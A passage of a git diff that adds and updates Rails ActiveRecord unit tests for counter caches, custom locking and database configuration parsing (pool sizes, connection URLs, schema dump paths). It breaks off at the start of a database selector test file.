     Topic.update_counters @topic.id, replies_count: 1, unique_replies_count: 1
     assert_difference ["@topic.reload.replies_count", "@topic.reload.unique_replies_count"], -1 do
@@ -111,6 +160,37 @@ class ::SpecialReply < ::Reply
     end
   end
 
+  test "reset counter skips query for correct counter" do
+    Topic.reset_counters(@topic.id, :replies_count)
+
+    # SELECT "topics".* FROM "topics" WHERE "topics"."id" = ? LIMIT ?
+    # SELECT COUNT(*) FROM "topics" WHERE "topics"."type" IN (?, ?, ?, ?, ?) AND "topics"."parent_id" = ?
+    assert_queries_count(2) do
+      Topic.reset_counters(@topic.id, :replies_count)
+    end
+  end
+
+  test "reset counter performs query for correct counter with touch: true" do
+    Topic.reset_counters(@topic.id, :replies_count)
+
+    # SELECT COUNT(*) FROM "topics" WHERE "topics"."type" IN (?, ?, ?, ?, ?) AND "topics"."parent_id" = ?
+    # UPDATE "topics" SET "updated_at" = ? WHERE "topics"."id" = ?
+    assert_queries_count(2) do
+      Topic.reset_counters(@topic.id, :replies_count, touch: true)
+    end
+  end
+
+  test "reset counters for cpk model" do
+    order = Cpk::Order.first
+    # throw the count off by 1
+    Cpk::Order.increment_counter(:books_count, order.id)
+
+    # check that it gets reset
+    assert_difference -> { order.reload.books_count }, -1 do
+      Cpk::Order.reset_counters(order.id, :books)
+    end
+  end
+
   test "update counter with initial null value" do
     category = categories(:general)
     assert_equal 2, category.categorizations.count
@@ -140,9 +220,16 @@ class ::SpecialReply < ::Reply
     end
   end
 
+  test "update counter for decrement for cpk model" do
+    order = Cpk::Order.first
+    assert_difference -> { order.reload.books_count }, -3 do
+      Cpk::Order.update_counters(order.id, books_count: -3)
+    end
+  end
+
   test "update other counters on parent destroy" do
     david, joanna = dog_lovers(:david, :joanna)
-    joanna = joanna # squelch a warning
+    _ = joanna # squelch a warning
 
     assert_difference "joanna.reload.dogs_count", -1 do
       david.destroy
@@ -212,6 +299,15 @@ class ::SpecialReply < ::Reply
     end
   end
 
+  test "removing association updates counter" do
+    michael = people(:michael)
+    car = cars(:honda)
+
+    assert_difference -> { michael.reload.cars_count }, -1 do
+      car.destroy
+    end
+  end
+
   test "update counters doesn't touch timestamps by default" do
     @topic.update_column :updated_at, 5.minutes.ago
     previously_updated_at = @topic.updated_at
@@ -261,7 +357,7 @@ class ::SpecialReply < ::Reply
   test "reset multiple counters with touch: true" do
     assert_touching @topic, :updated_at do
       Topic.update_counters(@topic.id, replies_count: 1, unique_replies_count: 1)
-      Topic.reset_counters(@topic.id, :replies, :unique_replies, touch: true)
+      Topic.reset_counters(@topic.id, :replies, :unique_replies, touch: { time: Time.now.utc })
     end
   end
 
@@ -278,38 +374,38 @@ class ::SpecialReply < ::Reply
   end
 
   test "update counters with touch: :written_on" do
-    assert_touching @topic, :written_on do
+    assert_touching @topic, :updated_at, :written_on do
       Topic.update_counters(@topic.id, replies_count: -1, touch: :written_on)
     end
   end
 
   test "update multiple counters with touch: :written_on" do
-    assert_touching @topic, :written_on do
+    assert_touching @topic, :updated_at, :written_on do
       Topic.update_counters(@topic.id, replies_count: 2, unique_replies_count: 2, touch: :written_on)
     end
   end
 
   test "reset counters with touch: :written_on" do
-    assert_touching @topic, :written_on do
+    assert_touching @topic, :updated_at, :written_on do
       Topic.reset_counters(@topic.id, :replies, touch: :written_on)
     end
   end
 
   test "reset multiple counters with touch: :written_on" do
-    assert_touching @topic, :written_on do
+    assert_touching @topic, :updated_at, :written_on do
       Topic.update_counters(@topic.id, replies_count: 1, unique_replies_count: 1)
       Topic.reset_counters(@topic.id, :replies, :unique_replies, touch: :written_on)
     end
   end
 
   test "increment counters with touch: :written_on" do
-    assert_touching @topic, :written_on do
+    assert_touching @topic, :updated_at, :written_on do
       Topic.increment_counter(:replies_count, @topic.id, touch: :written_on)
     end
   end
 
   test "decrement counters with touch: :written_on" do
-    assert_touching @topic, :written_on do
+    assert_touching @topic, :updated_at, :written_on do
       Topic.decrement_counter(:replies_count, @topic.id, touch: :written_on)
     end
   end
@@ -351,10 +447,52 @@ class ::SpecialReply < ::Reply
     end
   end
 
+  test "counter_cache_column?" do
+    assert Person.counter_cache_column?("cars_count")
+    assert_not Car.counter_cache_column?("cars_count")
+  end
+
+  test "inactive counter cache" do
+    car = Car.new
+    car.bulbs = [Bulb.new, Bulb.new]
+    car.save!
+
+    assert_equal 2, car.bulbs_count
+    car.reload
+
+    assert_queries_count(5) do
+      assert_equal 2, car.bulbs.size
+      assert_equal 2, car.bulbs.count
+      assert_not_predicate car.bulbs, :empty?
+      assert_predicate car.bulbs, :any?
+      assert_not_predicate car.bulbs, :none?
+    end
+  end
+
+  test "active counter cache" do
+    car = Car.new
+    car.tires = [Tire.new, Tire.new]
+    car.save!
+
+    assert_equal 2, car.custom_tires_count
+    car.reload
+
+    assert_no_queries do
+      assert_equal 2, car.tires.size
+      assert_not_predicate car.tires, :empty?
+      assert_predicate car.tires, :any?
+      assert_not_predicate car.tires, :none?
+    end
+
+    assert_queries_count(1) do
+      assert_equal 2, car.tires.count
+    end
+  end
+
   private
     def assert_touching(record, *attributes)
-      record.update_columns attributes.map { |attr| [ attr, 5.minutes.ago ] }.to_h
-      touch_times = attributes.map { |attr| [ attr, record.public_send(attr) ] }.to_h
+      record.update_columns attributes.index_with(5.minutes.ago)
+      touch_times = attributes.index_with { |attr| record.public_send(attr) }
 
       yield
 
diff --git a/activerecord/test/cases/custom_locking_test.rb b/activerecord/test/cases/custom_locking_test.rb
index 15c8b684e4eb4..0fe7e13159866 100644
--- a/activerecord/test/cases/custom_locking_test.rb
+++ b/activerecord/test/cases/custom_locking_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/person"
 
@@ -5,10 +7,10 @@ module ActiveRecord
   class CustomLockingTest < ActiveRecord::TestCase
     fixtures :people
 
-    def test_custom_lock
-      if current_adapter?(:Mysql2Adapter)
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      def test_custom_lock
         assert_match "SHARE MODE", Person.lock("LOCK IN SHARE MODE").to_sql
-        assert_sql(/LOCK IN SHARE MODE/) do
+        assert_queries_match(/LOCK IN SHARE MODE/) do
           Person.all.merge!(lock: "LOCK IN SHARE MODE").find(1)
         end
       end
diff --git a/activerecord/test/cases/database_configurations/hash_config_test.rb b/activerecord/test/cases/database_configurations/hash_config_test.rb
new file mode 100644
index 0000000000000..84b526720ee8f
--- /dev/null
+++ b/activerecord/test/cases/database_configurations/hash_config_test.rb
@@ -0,0 +1,309 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class DatabaseConfigurations
+    class HashConfigTest < ActiveRecord::TestCase
+      def test_pool_config_works_without_deprecation
+        config = HashConfig.new("default_env", "primary", pool: 6, adapter: "abstract")
+        assert_equal 6, config.max_connections
+      end
+
+      def test_pool_is_deprecated
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_deprecated ActiveRecord.deprecator do
+          assert_equal 5, config.pool
+        end
+      end
+
+      def test_raises_when_pool_and_max_connections_have_different_values
+        assert_raises(RuntimeError, match: /Ambiguous configuration.*pool.*6.*max_connections.*10/) do
+          HashConfig.new("default_env", "primary", pool: 6, max_connections: 10, adapter: "abstract")
+        end
+      end
+
+      def test_allows_pool_and_max_connections_when_same_value
+        config = HashConfig.new("default_env", "primary", pool: 6, max_connections: 6, adapter: "abstract")
+        assert_equal 6, config.max_connections
+      end
+
+      def test_raises_when_pool_and_min_connections_are_set
+        assert_raises(RuntimeError, match: /Ambiguous configuration.*min_connections.*max_connections.*instead/) do
+          HashConfig.new("default_env", "primary", pool: 6, min_connections: 2, adapter: "abstract")
+        end
+      end
+
+      def test_max_age_default_when_nil
+        config = HashConfig.new("default_env", "primary", max_age: nil, adapter: "abstract")
+        assert_equal Float::INFINITY, config.max_age
+      end
+
+      def test_max_age_overrides_with_value
+        config = HashConfig.new("default_env", "primary", max_age: "500", adapter: "abstract")
+        assert_equal 500, config.max_age
+      end
+
+      def test_when_no_max_age_uses_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal Float::INFINITY, config.max_age
+      end
+
+      def test_keepalive_default_when_nil
+        config = HashConfig.new("default_env", "primary", keepalive: nil, adapter: "abstract")
+        assert_equal 600, config.keepalive
+      end
+
+      def test_keepalive_overrides_with_value
+        config = HashConfig.new("default_env", "primary", keepalive: "500", adapter: "abstract")
+        assert_equal 500, config.keepalive
+      end
+
+      def test_when_no_keepalive_uses_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 600, config.keepalive
+      end
+
+      def test_max_connections_unlimited_when_nil
+        config = HashConfig.new("default_env", "primary", max_connections: nil, adapter: "abstract")
+        assert_nil config.max_connections
+      end
+
+      def test_max_connections_unlimited_when_negative_one
+        config = HashConfig.new("default_env", "primary", max_connections: "-1", adapter: "abstract")
+        assert_nil config.max_connections
+      end
+
+      def test_max_connections_zero_means_zero
+        config = HashConfig.new("default_env", "primary", max_connections: "0", adapter: "abstract")
+        assert_equal 0, config.max_connections
+      end
+
+      def test_max_connections_overrides_with_value
+        config = HashConfig.new("default_env", "primary", max_connections: "10", adapter: "abstract")
+        assert_equal 10, config.max_connections
+      end
+
+      def test_when_no_max_connections_uses_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 5, config.max_connections
+      end
+
+      def test_max_threads_fallback_when_unlimited_connections
+        config = HashConfig.new("default_env", "primary", max_connections: nil, adapter: "abstract")
+        assert_equal 5, config.max_threads
+      end
+
+      def test_max_threads_fallback_when_negative_connections
+        config = HashConfig.new("default_env", "primary", max_connections: -1, adapter: "abstract")
+        assert_equal 5, config.max_threads
+      end
+
+      def test_min_connections_default_when_nil
+        config = HashConfig.new("default_env", "primary", min_connections: nil, adapter: "abstract")
+        assert_equal 0, config.min_connections
+      end
+
+      def test_min_connections_overrides_with_value
+        config = HashConfig.new("default_env", "primary", min_connections: "5", adapter: "abstract")
+        assert_equal 5, config.min_connections
+      end
+
+      def test_when_no_min_connections_uses_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 0, config.min_connections
+      end
+
+      def test_min_threads_with_value
+        config = HashConfig.new("default_env", "primary", min_threads: "1", adapter: "abstract")
+        assert_equal 1, config.min_threads
+      end
+
+      def test_min_threads_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 0, config.min_threads
+      end
+
+      def test_max_threads_with_value
+        config = HashConfig.new("default_env", "primary", max_threads: "10", adapter: "abstract")
+        assert_equal 10, config.max_threads
+      end
+
+      def test_max_threads_default_uses_max_connections_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 5, config.max_connections
+        assert_equal 5, config.max_threads
+      end
+
+      def test_max_threads_uses_max_connections_when_set
+        config = HashConfig.new("default_env", "primary", max_connections: 1, adapter: "abstract")
+        assert_equal 1, config.max_connections
+        assert_equal 1, config.max_threads
+      end
+
+      def test_max_queue_is_max_threads_multiplied_by_4
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 5, config.max_threads
+        assert_equal config.max_threads * 4, config.max_queue
+      end
+
+      def test_checkout_timeout_default_when_nil
+        config = HashConfig.new("default_env", "primary", checkout_timeout: nil, adapter: "abstract")
+        assert_equal 5.0, config.checkout_timeout
+      end
+
+      def test_checkout_timeout_overrides_with_value
+        config = HashConfig.new("default_env", "primary", checkout_timeout: "0", adapter: "abstract")
+        assert_equal 0.0, config.checkout_timeout
+      end
+
+      def test_when_no_checkout_timeout_uses_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 5.0, config.checkout_timeout
+      end
+
+      def test_reaping_frequency_default_when_nil
+        config = HashConfig.new("default_env", "primary", reaping_frequency: nil, adapter: "abstract")
+        assert_nil config.reaping_frequency
+      end
+
+      def test_reaping_frequency_overrides_with_value
+        config = HashConfig.new("default_env", "primary", reaping_frequency: "0", adapter: "abstract")
+        assert_equal 0.0, config.reaping_frequency
+      end
+
+      def test_when_no_reaping_frequency_uses_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 20.0, config.reaping_frequency
+      end
+
+      def test_reaping_frequency_is_reduced_for_low_keepalive
+        config = HashConfig.new("default_env", "primary", keepalive: "15", adapter: "abstract")
+        assert_equal 15.0, config.reaping_frequency
+      end
+
+      def test_idle_timeout_default_when_nil
+        config = HashConfig.new("default_env", "primary", idle_timeout: nil, adapter: "abstract")
+        assert_nil config.idle_timeout
+      end
+
+      def test_idle_timeout_overrides_with_value
+        config = HashConfig.new("default_env", "primary", idle_timeout: "1", adapter: "abstract")
+        assert_equal 1.0, config.idle_timeout
+      end
+
+      def test_when_no_idle_timeout_uses_default
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal 300.0, config.idle_timeout
+      end
+
+      def test_idle_timeout_nil_when_less_than_or_equal_to_zero
+        config = HashConfig.new("default_env", "primary", idle_timeout: "0", adapter: "abstract")
+        assert_nil config.idle_timeout
+      end
+
+      def test_default_schema_dump_value
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal "schema.rb", config.schema_dump
+      end
+
+      def test_schema_dump_value_set_to_filename
+        config = HashConfig.new("default_env", "primary", { schema_dump: "my_schema.rb", adapter: "abstract" })
+        assert_equal "my_schema.rb", config.schema_dump
+      end
+
+      def test_schema_dump_value_set_to_nil
+        config = HashConfig.new("default_env", "primary", { schema_dump: nil, adapter: "abstract" })
+        assert_nil config.schema_dump
+      end
+
+      def test_schema_dump_value_set_to_false
+        config = HashConfig.new("default_env", "primary", { schema_dump: false, adapter: "abstract" })
+        assert_nil config.schema_dump
+      end
+
+      def test_database_tasks_defaults_to_true
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal true, config.database_tasks?
+      end
+
+      def test_database_tasks_overrides_with_value
+        config = HashConfig.new("default_env", "primary", database_tasks: false, adapter: "abstract")
+        assert_equal false, config.database_tasks?
+
+        config = HashConfig.new("default_env", "primary", database_tasks: "str", adapter: "abstract")
+        assert_equal true, config.database_tasks?
+      end
+
+      def test_schema_cache_path_default_for_primary
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert_equal "db/schema_cache.yml", config.default_schema_cache_path
+      end
+
+      def test_schema_cache_path_default_for_custom_name
+        config = HashConfig.new("default_env", "alternate", adapter: "abstract")
+        assert_equal "db/alternate_schema_cache.yml", config.default_schema_cache_path
+      end
+
+      def test_schema_cache_path_default_for_different_db_dir
+        config = HashConfig.new("default_env", "alternate", adapter: "abstract")
+        assert_equal "my_db/alternate_schema_cache.yml", config.default_schema_cache_path("my_db")
+      end
+
+      def test_schema_cache_path_configuration_hash
+        config = HashConfig.new("default_env", "primary", { schema_cache_path: "db/config_schema_cache.yml", adapter: "abstract" })
+        assert_equal "db/config_schema_cache.yml", config.schema_cache_path
+      end
+
+      def test_lazy_schema_cache_path
+        config = HashConfig.new("default_env", "primary", { schema_cache_path: "db/config_schema_cache.yml", adapter: "abstract" })
+        assert_equal "db/config_schema_cache.yml", config.lazy_schema_cache_path
+      end
+
+      def test_lazy_schema_cache_path_uses_default_if_config_is_not_present
+        config = HashConfig.new("default_env", "alternate", { adapter: "abstract" })
+        assert_equal "db/alternate_schema_cache.yml", config.lazy_schema_cache_path
+      end
+
+      def test_validate_checks_the_adapter_exists
+        config = HashConfig.new("default_env", "primary", adapter: "abstract")
+        assert config.validate!
+        config = HashConfig.new("default_env", "primary", adapter: "potato")
+        assert_raises(ActiveRecord::AdapterNotFound) do
+          config.validate!
+        end
+      end
+
+      def test_inspect_does_not_show_secrets
+        config = HashConfig.new("default_env", "primary", { adapter: "abstract", password: "hunter2" })
+        assert_equal "#<ActiveRecord::DatabaseConfigurations::HashConfig env_name=default_env name=primary adapter_class=ActiveRecord::ConnectionAdapters::AbstractAdapter>", config.inspect
+      end
+
+      def test_seeds_defaults_to_primary
+        config = HashConfig.new("default_env", "primary", { adapter: "abstract" })
+        assert_equal true, config.seeds?
+
+        config = HashConfig.new("default_env", "primary", { adapter: "abstract", seeds: false })
+        assert_equal false, config.seeds?
+
+        config = HashConfig.new("default_env", "primary", { adapter: "abstract", seeds: true })
+        assert_equal true, config.seeds?
+
+        config = HashConfig.new("default_env", "secondary", { adapter: "abstract" })
+        config.stub(:primary?, false) do # primary? will return nil without proper Base.configurations
+          assert_equal false, config.seeds?
+        end
+
+        config = HashConfig.new("default_env", "secondary", { adapter: "abstract", seeds: false })
+        config.stub(:primary?, false) do # primary? will return nil without proper Base.configurations
+          assert_equal false, config.seeds?
+        end
+
+        config = HashConfig.new("default_env", "secondary", { adapter: "abstract", seeds: true })
+        config.stub(:primary?, false) do # primary? will return nil without proper Base.configurations
+          assert_equal true, config.seeds?
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/database_configurations/resolver_test.rb b/activerecord/test/cases/database_configurations/resolver_test.rb
new file mode 100644
index 0000000000000..aa1d4d2c6241d
--- /dev/null
+++ b/activerecord/test/cases/database_configurations/resolver_test.rb
@@ -0,0 +1,154 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PoolConfig
+      class ResolverTest < ActiveRecord::TestCase
+        def resolve_db_config(pool_config, config = {})
+          configs = ActiveRecord::DatabaseConfigurations.new(config)
+          configs.resolve(pool_config)
+        end
+
+        def test_url_invalid_adapter
+          error = assert_raises(AdapterNotFound) do
+            Base.connection_handler.establish_connection "ridiculous://foo?encoding=utf8"
+          end
+
+          assert_match "Database configuration specifies nonexistent 'ridiculous' adapter. Available adapters are: abstract, fake, mysql2, postgresql, sqlite3, trilogy. Ensure that the adapter is spelled correctly in config/database.yml and that you've added the necessary adapter gem to your Gemfile if it's not in the list of available adapters.", error.message
+        end
+
+        # The abstract adapter is used simply to bypass the bit of code that
+        # checks that the adapter file can be required in.
+
+        def test_url_from_environment
+          pool_config = resolve_db_config :production, "production" => "abstract://foo?encoding=utf8"
+
+          assert_equal({
+            adapter:  "abstract",
+            host:     "foo",
+            encoding: "utf8"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_url_sub_key
+          pool_config = resolve_db_config :production, "production" => { "url" => "abstract://foo?encoding=utf8" }
+
+          assert_equal({
+            adapter:  "abstract",
+            host:     "foo",
+            encoding: "utf8"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_url_sub_key_merges_correctly
+          hash = { "url" => "abstract://foo?encoding=utf8&", "adapter" => "sqlite3", "host" => "bar", "max_connections" => "3" }
+          pool_config = resolve_db_config :production, "production" => hash
+
+          assert_equal({
+            adapter:         "abstract",
+            host:            "foo",
+            encoding:        "utf8",
+            max_connections: "3"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_url_sub_key_merges_correctly_when_query_param
+          hash = { "url" => "abstract:///?user=user&password=passwd&dbname=app" }
+          pool_config = resolve_db_config :production, "production" => hash
+
+          assert_equal({
+            adapter:  "abstract",
+            user:     "user",
+            password: "passwd",
+            dbname:   "app"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_url_host_no_db
+          pool_config = resolve_db_config "abstract://foo?encoding=utf8"
+          assert_equal({
+            adapter:  "abstract",
+            host:     "foo",
+            encoding: "utf8"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_url_missing_scheme
+          assert_raises ActiveRecord::DatabaseConfigurations::InvalidConfigurationError do
+            resolve_db_config "foo"
+          end
+        end
+
+        def test_url_host_db
+          pool_config = resolve_db_config "abstract://foo/bar?encoding=utf8"
+          assert_equal({
+            adapter:  "abstract",
+            database: "bar",
+            host:     "foo",
+            encoding: "utf8"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_url_port
+          pool_config = resolve_db_config "abstract://foo:123?encoding=utf8"
+
+          assert_equal({
+            adapter:  "abstract",
+            port:     123,
+            host:     "foo",
+            encoding: "utf8"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_encoded_password
+          password = "am@z1ng_p@ssw0rd#!"
+          encoded_password = URI.encode_www_form_component(password)
+          pool_config = resolve_db_config "abstract://foo:#{encoded_password}@localhost/bar"
+
+          assert_equal password, pool_config.configuration_hash[:password]
+        end
+
+        def test_url_with_authority_for_sqlite3
+          pool_config = resolve_db_config "sqlite3:///foo_test"
+
+          assert_equal("/foo_test", pool_config.database)
+        end
+
+        def test_url_absolute_path_for_sqlite3
+          pool_config = resolve_db_config "sqlite3:/foo_test"
+
+          assert_equal("/foo_test", pool_config.database)
+        end
+
+        def test_url_relative_path_for_sqlite3
+          pool_config = resolve_db_config "sqlite3:foo_test"
+
+          assert_equal("foo_test", pool_config.database)
+        end
+
+        def test_url_memory_db_for_sqlite3
+          pool_config = resolve_db_config "sqlite3::memory:"
+          assert_equal(":memory:", pool_config.database)
+        end
+
+        def test_url_sub_key_for_sqlite3
+          pool_config = resolve_db_config :production, "production" => { "url" => "sqlite3:foo?encoding=utf8" }
+
+          assert_equal({
+            adapter:  "sqlite3",
+            database: "foo",
+            encoding: "utf8"
+          }, pool_config.configuration_hash)
+        end
+
+        def test_pool_config_with_invalid_type
+          assert_raises TypeError do
+            Base.connection_handler.establish_connection(Object.new)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/database_configurations/url_config_test.rb b/activerecord/test/cases/database_configurations/url_config_test.rb
new file mode 100644
index 0000000000000..cca64973564da
--- /dev/null
+++ b/activerecord/test/cases/database_configurations/url_config_test.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class DatabaseConfigurations
+    class UrlConfigTest < ActiveRecord::TestCase
+      def test_schema_dump_parsing
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?schema_dump=false", {})
+        assert_nil config.schema_dump
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?schema_dump=db/foo_schema.rb", {})
+        assert_equal "db/foo_schema.rb", config.schema_dump
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo", {})
+        assert_equal "schema.rb", config.schema_dump
+      end
+
+      def test_query_cache_parsing
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?query_cache=false", {})
+        assert_equal false, config.query_cache
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?query_cache=42", {})
+        assert_equal 42, config.query_cache
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?query_cache=forever", {})
+        assert_equal "forever", config.query_cache
+      end
+
+      def test_replica_parsing
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo", {})
+        assert_nil config.replica?
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?replica=true", {})
+        assert_equal true, config.replica?
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?replica=false", {})
+        assert_equal false, config.replica?
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?replica=random", {})
+        assert_equal true, config.replica?
+      end
+
+      def test_database_tasks_parsing
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo", {})
+        assert_equal true, config.database_tasks?
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?database_tasks=random", {})
+        assert_equal true, config.database_tasks?
+
+        config = UrlConfig.new("default_env", "primary", "postgres://localhost/foo?database_tasks=false", {})
+        assert_equal false, config.database_tasks?
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/database_configurations_test.rb b/activerecord/test/cases/database_configurations_test.rb
new file mode 100644
index 0000000000000..e21e792ea00fb
--- /dev/null
+++ b/activerecord/test/cases/database_configurations_test.rb
@@ -0,0 +1,188 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class DatabaseConfigurationsTest < ActiveRecord::TestCase
+  unless in_memory_db?
+    def test_empty_returns_true_when_db_configs_are_empty
+      old_config = ActiveRecord::Base.configurations
+      config = {}
+
+      ActiveRecord::Base.configurations = config
+
+      assert_predicate ActiveRecord::Base.configurations, :empty?
+      assert_predicate ActiveRecord::Base.configurations, :blank?
+    ensure
+      ActiveRecord::Base.configurations = old_config
+    end
+  end
+
+  def test_configs_for_getter_with_env_name
+    configs = ActiveRecord::Base.configurations.configs_for(env_name: "arunit")
+
+    assert_equal 1, configs.size
+    assert_equal ["arunit"], configs.map(&:env_name)
+  end
+
+  def test_configs_for_getter_with_name
+    previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "arunit2"
+
+    config = ActiveRecord::Base.configurations.configs_for(name: "primary")
+
+    assert_equal "arunit2", config.env_name
+    assert_equal "primary", config.name
+  ensure
+    ENV["RAILS_ENV"] = previous_env
+  end
+
+  def test_configs_for_with_name_symbol
+    previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "arunit2"
+
+    config = ActiveRecord::Base.configurations.configs_for(name: :primary)
+
+    assert_equal "arunit2", config.env_name
+    assert_equal "primary", config.name
+  ensure
+    ENV["RAILS_ENV"] = previous_env
+  end
+
+  def test_configs_for_getter_with_env_and_name
+    config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+
+    assert_equal "arunit", config.env_name
+    assert_equal "primary", config.name
+  end
+
+  def test_find_db_config_returns_first_config_for_env
+    config = ActiveRecord::DatabaseConfigurations.new({
+        "test" => {
+          "config_1" => {
+            "adapter" => "abstract",
+            "database" => "db"
+          },
+          "config_2" => {
+            "adapter" => "abstract",
+            "database" => "db"
+          },
+          "config_3" => {
+            "adapter" => "abstract",
+            "database" => "db"
+          },
+        }
+      })
+
+    assert_equal "config_1", config.find_db_config("test").name
+  end
+
+  def test_find_db_config_returns_a_db_config_object_for_the_given_env
+    config = ActiveRecord::Base.configurations.find_db_config("arunit2")
+
+    assert_equal "arunit2", config.env_name
+    assert_equal "primary", config.name
+  end
+
+  def test_find_db_config_prioritize_db_config_object_for_the_current_env
+    config = ActiveRecord::DatabaseConfigurations.new({
+      "primary" => {
+        "adapter" => "abstract",
+      },
+      ActiveRecord::ConnectionHandling::DEFAULT_ENV.call => {
+        "primary" => {
+          "adapter" => "sqlite3",
+          "database" => ":memory:"
+        }
+      }
+    }).find_db_config("primary")
+
+    assert_equal "primary", config.name
+    assert_equal ActiveRecord::ConnectionHandling::DEFAULT_ENV.call, config.env_name
+    assert_equal ":memory:", config.database
+  end
+
+  class CustomHashConfig < ActiveRecord::DatabaseConfigurations::HashConfig
+    def sharded?
+      custom_config.fetch("sharded", false)
+    end
+
+    private
+      def custom_config
+        configuration_hash.fetch(:custom_config)
+      end
+  end
+
+  def test_registering_a_custom_config_object
+    previous_handlers = ActiveRecord::DatabaseConfigurations.db_config_handlers
+
+    ActiveRecord::DatabaseConfigurations.register_db_config_handler do |env_name, name, _, config|
+      next unless config.key?(:custom_config)
+      CustomHashConfig.new(env_name, name, config)
+    end
+
+    configs = ActiveRecord::DatabaseConfigurations.new({
+      "test" => {
+        "config_1" => {
+          "adapter" => "abstract",
+          "database" => "db",
+          "custom_config" => {
+            "sharded" => 1
+          }
+        },
+        "config_2" => {
+          "adapter" => "abstract",
+          "database" => "db"
+        }
+      }
+    }).configurations
+
+    custom_config = configs.first
+    hash_config = configs.last
+
+    assert custom_config.is_a?(CustomHashConfig)
+    assert hash_config.is_a?(ActiveRecord::DatabaseConfigurations::HashConfig)
+
+    assert_predicate custom_config, :sharded?
+  ensure
+    ActiveRecord::DatabaseConfigurations.db_config_handlers = previous_handlers
+  end
+
+  def test_configs_for_with_custom_key
+    previous_handlers = ActiveRecord::DatabaseConfigurations.db_config_handlers
+
+    ActiveRecord::DatabaseConfigurations.register_db_config_handler do |env_name, name, _, config|
+      next unless config.key?(:custom_config)
+      CustomHashConfig.new(env_name, name, config)
+    end
+
+    config = {
+      "default_env" => {
+        "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "custom_config" => { "sharded" => 1 } },
+        "replica" => { "adapter" => "sqlite3", "database" => "test/db/hidden.sqlite3", "replica" => true, "custom_config" => { "sharded" => 1 } },
+        "secondary" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3" }
+      }
+    }
+    prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+    assert_equal 1, ActiveRecord::Base.configurations.configs_for(env_name: "default_env", config_key: :custom_config).count
+    assert_equal 2, ActiveRecord::Base.configurations.configs_for(env_name: "default_env", config_key: :custom_config, include_hidden: true).count
+    assert_equal 2, ActiveRecord::Base.configurations.configs_for(env_name: "default_env").count
+  ensure
+    ActiveRecord::DatabaseConfigurations.db_config_handlers = previous_handlers
+    ActiveRecord::Base.configurations = prev_configs
+  end
+
+  def test_configs_for_with_include_hidden
+    config = {
+      "default_env" => {
+        "readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3", "replica" => true },
+        "hidden" => { "adapter" => "sqlite3", "database" => "test/db/hidden.sqlite3", "database_tasks" => false },
+        "default" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+      }
+    }
+    prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+    assert_equal 1, ActiveRecord::Base.configurations.configs_for(env_name: "default_env").count
+    assert_equal 3, ActiveRecord::Base.configurations.configs_for(env_name: "default_env", include_hidden: true).count
+  ensure
+    ActiveRecord::Base.configurations = prev_configs
+  end
+end
diff --git a/activerecord/test/cases/database_selector_test.rb b/activerecord/test/cases/database_selector_test.rb
new file mode 100644
index 0000000000000..3876afe2d7f0b
--- /dev/null
+++ b/activerecord/test/cases/database_selector_test.rb
@@ -0,0 +1,318 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+require "action_dispatch"
+
+module ActiveRecord
+  class DatabaseSelectorTest < ActiveRecord::TestCase
+    setup do
+      @session_store = {}
